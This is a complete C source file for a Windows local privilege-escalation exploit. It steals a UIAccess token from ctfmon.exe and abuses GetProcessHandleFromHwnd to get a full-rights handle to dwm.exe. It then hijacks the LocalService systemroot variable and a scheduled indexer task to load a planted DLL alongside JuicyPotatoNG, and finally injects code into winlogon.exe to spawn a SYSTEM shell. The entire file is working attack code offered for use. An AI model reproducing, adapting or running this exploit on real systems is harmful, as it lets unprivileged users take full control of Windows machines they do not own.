// File: uiaccess_exploit.c // Compiled: uiaccess_exploit.exe // Author: Sascha Meyer // Description: UIAccess exploit main program. Uses a logic bug of UIAccess processes interacting with win32kfull.sys. // The Function NtUserGetWindowProcessHandle doesn't checks for any ACL or integrity level when a process has UIAccess privileges. // This allows any user to obtain a process handle with full rights to the dwm.exe process (this process has LocalService permissions). // The exploit exe file needs to be in a folder where all users have read access (ex. create C:\Exploit) together with the exploit DLL file and the JuicyPotatoNG.exe file #define WINVER 0x0600 #define _WIN32_WINNT 0x0600 #define _CRT_SECURE_NO_WARNINGS #include #include #include #ifndef strcmpi #define strcmpi _strcmpi #endif #ifdef UNICODE #undef UNICODE #endif #include #include #include #ifndef PROC_THREAD_ATTRIBUTE_PARENT_PROCESS #define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x00020000 #endif BOOL CreateProcessWithParent(char* cmd, HANDLE parent) { SIZE_T ptsize = 0; PROCESS_INFORMATION pi; STARTUPINFOEXA si; LPPROC_THREAD_ATTRIBUTE_LIST ptal; BOOL ret; InitializeProcThreadAttributeList(NULL, 1, 0, &ptsize); ptal = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, ptsize); if (!ptal) { return FALSE; } memset(&si, 0, sizeof(si)); si.StartupInfo.cb = sizeof(si); if (!InitializeProcThreadAttributeList(ptal, 1, 0, &ptsize)) { return FALSE; } if (!UpdateProcThreadAttribute(ptal, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parent, sizeof(HANDLE), NULL, NULL)) { return FALSE; } si.lpAttributeList = ptal; ret = CreateProcessA(NULL, cmd, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (STARTUPINFOA*)&si, &pi); DeleteProcThreadAttributeList(ptal); HeapFree(GetProcessHeap(), 0, ptal); if (ret) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } return ret; } DWORD GetProcessPID(const char* name, BOOL current_session, BOOL active_session) { DWORD session = -1; DWORD proc_session = -1; PROCESSENTRY32 pe32; HANDLE snapshot = NULL; if (active_session) { proc_session = WTSGetActiveConsoleSessionId(); } else if (current_session) { if (!ProcessIdToSessionId(GetCurrentProcessId(), &proc_session)) { return 0; } } memset(&pe32, 0, sizeof(pe32)); pe32.dwSize = sizeof(pe32); snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot != INVALID_HANDLE_VALUE) { if (Process32First(snapshot, &pe32)) { do { if (current_session || active_session) { if (!ProcessIdToSessionId(pe32.th32ProcessID, &session)) { continue; } if (proc_session != session) { continue; } } if (!strcmpi(name, pe32.szExeFile)) { CloseHandle(snapshot); return pe32.th32ProcessID; } } while (Process32Next(snapshot, &pe32)); } CloseHandle(snapshot); } return 0; } typedef BOOL(WINAPI* __CreateProcessA)( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); DWORD WINAPI CMDThread(LPVOID p) { __CreateProcessA _CreateProcessA = NULL; STARTUPINFOA si; PROCESS_INFORMATION pi; char cmd[8]; cmd[0] = 'c'; cmd[1] = 'm'; cmd[2] = 'd'; cmd[3] = '.'; cmd[4] = 'e'; cmd[5] = 'x'; cmd[6] = 'e'; cmd[7] = '\0'; si.dwFlags = 0; si.cb = sizeof(si); _CreateProcessA = (__CreateProcessA)p; if (_CreateProcessA) { _CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); } return 0; } BOOL InjectStartCMD(HANDLE process) { HMODULE kernel32 = NULL; __CreateProcessA _CreateProcessA = NULL; void* addr = NULL; HANDLE thread = NULL; kernel32 = GetModuleHandleA("kernel32.dll"); if (kernel32) { _CreateProcessA = (__CreateProcessA)GetProcAddress(kernel32, "CreateProcessA"); if (_CreateProcessA) { addr = VirtualAllocEx(process, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr) { if (WriteProcessMemory(process, addr, (void*)CMDThread, 0x1000, NULL)) { thread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, (void*)_CreateProcessA, 0, NULL); if (thread) { CloseHandle(thread); return TRUE; } } } } } return FALSE; } BOOL AddDebugPrivilege(void) { HANDLE token; TOKEN_PRIVILEGES tp = { 0 }; LUID luid; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { if (OpenProcessToken((HANDLE)-1, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp), NULL, NULL); CloseHandle(token); return (ERROR_SUCCESS == GetLastError()); } } return FALSE; } typedef NTSTATUS (WINAPI * __NtSetInformationToken)( HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, PVOID TokenInformation, ULONG TokenInformationLength ); BOOL RunWithUIAccess(DWORD pid, WCHAR* cmd) { HMODULE ntdll = NULL; __NtSetInformationToken _NtSetInformationToken = NULL; HANDLE hprocess = NULL; HANDLE htoken = NULL; HANDLE hnewtoken = NULL; SECURITY_ATTRIBUTES sa; SID_IDENTIFIER_AUTHORITY sia = { 0 }; PSID sid = NULL; SID_AND_ATTRIBUTES saa = { 0 }; TOKEN_MANDATORY_LABEL tml = { 0 }; STARTUPINFOW si = { 0 }; PROCESS_INFORMATION pi = { 0 }; ntdll = GetModuleHandleW(L"ntdll.dll"); if (!ntdll) { return FALSE; } _NtSetInformationToken = (__NtSetInformationToken)GetProcAddress(ntdll, "NtSetInformationToken"); if (!_NtSetInformationToken) { return FALSE; } hprocess = OpenProcess(0x1000, FALSE, pid); if (!hprocess) { return FALSE; } if (!OpenProcessToken(hprocess, 0x02000000, &htoken)) { CloseHandle(hprocess); return FALSE; } CloseHandle(hprocess); memset(&sa, 0, sizeof(SECURITY_ATTRIBUTES)); sa.nLength = sizeof(SECURITY_ATTRIBUTES); if (!DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, &sa, SecurityImpersonation, TokenPrimary, &hnewtoken)) { CloseHandle(htoken); return FALSE; } CloseHandle(htoken); memset(&sia, 0, sizeof(SID_IDENTIFIER_AUTHORITY)); sia.Value[5] = 0x10; if (!AllocateAndInitializeSid(&sia, 1, 0x2000, 0, 0, 0, 0, 0, 0, 0, &sid)) { CloseHandle(hnewtoken); return FALSE; } memset(&saa, 0, sizeof(SID_AND_ATTRIBUTES)); saa.Sid = sid; saa.Attributes = 0x20; tml.Label = saa; if (_NtSetInformationToken(hnewtoken, TokenIntegrityLevel, &tml, sizeof(TOKEN_MANDATORY_LABEL))) { FreeSid(sid); CloseHandle(hnewtoken); return FALSE; } FreeSid(sid); memset(&si, 0, sizeof(STARTUPINFOW)); si.cb = sizeof(STARTUPINFOW); si.wShowWindow = 1; si.dwFlags = 1; if (!CreateProcessAsUserW(hnewtoken, NULL, cmd, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return FALSE; } CloseHandle(hnewtoken); return TRUE; } DWORD IsUIAccess(void) { DWORD retlen = 0; DWORD uiaccess = 0; HANDLE token = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) { GetTokenInformation(token, TokenUIAccess, &uiaccess, sizeof(DWORD), &retlen); CloseHandle(token); } return uiaccess; } typedef HANDLE (WINAPI * __GetProcessHandleFromHwnd)(HWND hwnd); int main(int argc, char** argv) { char username[64]; DWORD bufsize = 0; char tmp[128]; char path[MAX_PATH]; char* ppath = NULL; DWORD pathlen = 0; HKEY key = NULL; HMODULE oleacc = NULL; __GetProcessHandleFromHwnd _GetProcessHandleFromHwnd = NULL; HWND hwnd = NULL; HANDLE target = NULL; HANDLE dup = NULL; DWORD ctfmon_pid = 0; DWORD winlogon_pid = 0; HANDLE winlogon = NULL; char cmdline[] = "cmd.exe"; bufsize = 64; GetUserNameA(username, &bufsize); if (GetLastError() == 8 || !strncmp(username, "DWM-", 4)) { pathlen = GetModuleFileNameA(NULL, path, MAX_PATH); if (pathlen) { bufsize = GetSystemWindowsDirectoryA(tmp, (DWORD)sizeof(tmp) / 2); if (bufsize) { strcat(tmp, "\\ServiceProfiles\\LocalService"); bufsize = (DWORD)strlen(tmp); strcat(tmp, "\\exploit.exe"); CopyFileA(path, tmp, FALSE); tmp[bufsize] = '\0'; strcat(tmp, "\\system32"); CreateDirectoryA(tmp, NULL); ppath = strrchr(path, '.'); strcpy(ppath, ".dll"); strcat(tmp, "\\srchadmin.dll"); CopyFileA(path, tmp, FALSE); ppath = strrchr(path, '\\'); strcpy(ppath, "\\JuicyPotatoNG.exe"); tmp[bufsize] = '\0'; strcat(tmp, "\\JuicyPotatoNG.exe"); CopyFileA(path, tmp, FALSE); tmp[bufsize] = '\0'; if (!RegOpenKeyExA(HKEY_USERS, "S-1-5-19\\Environment", 0, KEY_SET_VALUE, &key)) { if (!RegSetValueExA(key, "systemroot", 0, REG_SZ, (BYTE*)tmp, bufsize + 1)) { if (!system("schtasks.exe /Change /enable /tn \\Microsoft\\Windows\\Shell\\IndexerAutomaticMaintenance")) { printf("[+] Tasks enabled\n"); if (!system("schtasks.exe /Run /I /tn \\Microsoft\\Windows\\Shell\\IndexerAutomaticMaintenance")) { printf("[+] Task started\n"); } else { printf("[+] Cannot start task!\n"); } } else { printf("[+] Cannot enable task\n"); } RegDeleteValue(key, "systemroot"); } RegCloseKey(key); } } } } else if (!strcmp(username, "SYSTEM")) { AddDebugPrivilege(); winlogon_pid = GetProcessPID("winlogon.exe", FALSE, TRUE); if (winlogon_pid) { printf("[+] Found winlogon process: %u\n", (unsigned int)winlogon_pid); winlogon = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, winlogon_pid); if (winlogon) { printf("[+] Winlogon process opened: 0x%p\n", winlogon); if (InjectStartCMD(winlogon)) { printf("[+] Process started: %s\n", cmdline); } else { printf("[-] Cannot start process!\n"); } CloseHandle(winlogon); } else { printf("[-] Cannot open winlogon process!\n"); } } else { printf("[-] Cannot find winlogon process!\n"); } } else if (IsUIAccess()) { printf("[+] UIAccess privileges detected\n"); oleacc = LoadLibraryA("oleacc.dll"); if (oleacc) { printf("[+] oleacc.dll library loaded: 0x%p\n", oleacc); _GetProcessHandleFromHwnd = (__GetProcessHandleFromHwnd)GetProcAddress(oleacc, "GetProcessHandleFromHwnd"); if (_GetProcessHandleFromHwnd) { printf("[+] GetProcessHandleFromHwnd address: 0x%p\n", _GetProcessHandleFromHwnd); hwnd = FindWindowA("Dwm", NULL); if (hwnd) { printf("[+] Dwm HWND: 0x%p\n", hwnd); target = _GetProcessHandleFromHwnd(hwnd); if (target) { printf("[+] Process handle: 0x%p\n", target); if (DuplicateHandle(target, (HANDLE)-1, (HANDLE)-1, &dup, 0, FALSE, DUPLICATE_SAME_ACCESS)) { printf("[+] Duplicated handle: 0x%p\n", dup); if (CreateProcessWithParent(GetCommandLineA(), dup)) { printf("[+] Process started: %s\n", GetCommandLineA()); } else { printf("[-] Cannot start process!\n"); } CloseHandle(dup); } else { printf("[-] Cannot duplicate process handle!\n"); } CloseHandle(target); } else { printf("[-] Cannot get process handle!\n"); } } else { printf("[-] Cannot find Dwm Window!\n"); } } else { printf("[-] Cannot find GetProcessHandleFromHwnd!\n"); } FreeLibrary(oleacc); } else { printf("[-] Cannot load oleacc.dll!\n"); } } else { printf("[-] No UIAccess privileges detected!\n"); ctfmon_pid = GetProcessPID("ctfmon.exe", TRUE, FALSE); if (ctfmon_pid) { printf("[+] ctfmon.exe process found: %u\n", (unsigned int)ctfmon_pid); if (RunWithUIAccess(ctfmon_pid, GetCommandLineW())) { printf("[+] UIAccess process started!\n"); } else { printf("[-] Cannot steal token for UIAccess process!\n"); } } else { printf("[-] No ctfmon.exe process found in current session!\n"); } } return 0; }